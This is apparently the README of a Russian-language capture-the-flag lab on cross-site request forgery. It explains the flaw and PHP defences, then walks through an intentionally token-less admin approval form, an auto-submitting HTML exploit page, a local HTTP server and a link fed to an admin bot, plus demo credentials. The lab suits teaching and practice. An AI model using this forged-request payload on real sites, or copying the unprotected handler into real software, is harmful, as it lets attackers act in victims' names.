CSRF (Cross-Site Request Forgery) - межсайтовая подделка запроса, уязвимость возникает, когда веб приложение позволяет изменять состояние системы без проверки, что запрос был инициирован самим пользователем, а не сторонним сайтом.
Ключевая причина, это отсутствие CSRF токенов в формах и проверки Origin/Referer заголовков на сервере.
- Злоумышленник может создать страницу со скрытой формой
- При переходе жертвы, форма автоматически отправляется
- Атакующий может одобрить свою заявку, сменить пароль или выполнить любое действие от имени жертвы
// Генерация токена в сессии
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// В форме
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
// Проверка на сервере
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF атака!');
}$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (strpos($referer, 'omnicorp.internal') === false) {
die('Доступ запрещен');
}setcookie("session", $value, [
'samesite' => 'Strict',
'httponly' => true
]);- Docker Toolbox
# Клонирование репозитория
git clone https://github.com/validverify/csrf-ctf.git
cd csrf-ctf
# Создание файла с переменными окружения
cp .env.ctf .env
# Запуск приложения
docker-compose up --build- Само уязвимое приложение
- Бот администратор
| Название перменной | Описание | Значение |
|---|---|---|
| FLAG | Флаг выигрыша | practice{csrf_ctf} |
| WEB_PORT | Порт работы веба | 8080 |
| ADMIN_USERNAME | Логин администратора | hr_manager |
| ADMIN_PASSWORD | Пароль администратора | hr123 |
В файле WEB/admin.php форма одобрения заявок:
<!-- В админ-панели нет CSRF токена! -->
<form method="POST" style="display: inline;">
<input type="hidden" name="request_id" value="<?php echo $req['id']; ?>">
<button type="submit" name="approve" class="btn btn-green">✅</button>
</form>Так же, обработчик на сервере не проверяет происхождение запроса:
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['approve'])) {
$request_id = $_POST['request_id'] ?? '';
if ($request_id && approve_request($request_id)) {
$message = 'Заявка одобрена'; // Ezpdbvj
}
}- Создать заявку от имени сотрудника
- Входим в учетку test_user / user123
- Создаем случайную заявку
- Запоминаем или копируем ID заявки
- Создать CSRF эксплоит
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf" action="http://MACHINE_IP:8080/admin.php" method="POST">
<input type="hidden" name="request_id" value="ID">
<input type="hidden" name="approve" value="1">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>- Запустить HTTP сервер В локальной папке с CSRF эксплоитом
python -m http.server 8000- Записать ссылку в файл для бота
echo "http://MACHINE_IP:8000/CSRF.html" > BOT/visitMe.txt- Получить флаг
- Входим в аккаунт test_user / user123, заново
- Видим флаг в одобренных заявках
Скрипт для автоматического одобрения заявки уже встроен
csrf-ctf/ ├── docker-compose.yml # Настройка контейнеров ├── .env.ctf # Переменные окружения ├── Dockerfile.web # Сборка веб ├── Dockerfile.bot # Сборка бота ├── WEB/ │ ├── index.php # Главная страница │ ├── login.php # Авторизация │ ├── profile.php # Профиль сотрудника │ ├── admin.php # Уязвимая админ панель │ ├── logout.php # Выход из системы │ ├── db.php # Работа с данными │ └── users.json # Хранилище пользователей и заявок └── BOT/ ├── bot.py # Бот администратор на Selenium и/или requests ├── requirements.txt # Зависимости Python └── visitMe.txt # Файл для ссылок боту
Необходимо узнать IP адрес, для дальнейших действий с машиной:
docker-machine ip defaultА так же проверить доступность:
docker exec -it csrf_bot ping 192.168.99.1 # Внешняя машина
curl http://192.168.99.100:8080# Порты
WEB_PORT=8080
# Флаг
FLAG=practice{csrf_ctf}
# IP для доступа к хосту (для Docker Toolbox)
ATTACKER_IP=192.168.99.1
# Учетные данные админа
ADMIN_USERNAME=hr_manager
ADMIN_PASSWORD=hr123
# Учетные данные тестовых пользователей
TEST_USERNAME=test_user
TEST_PASSWORD=user123
BOB_USERNAME=bob
BOB_PASSWORD=bob123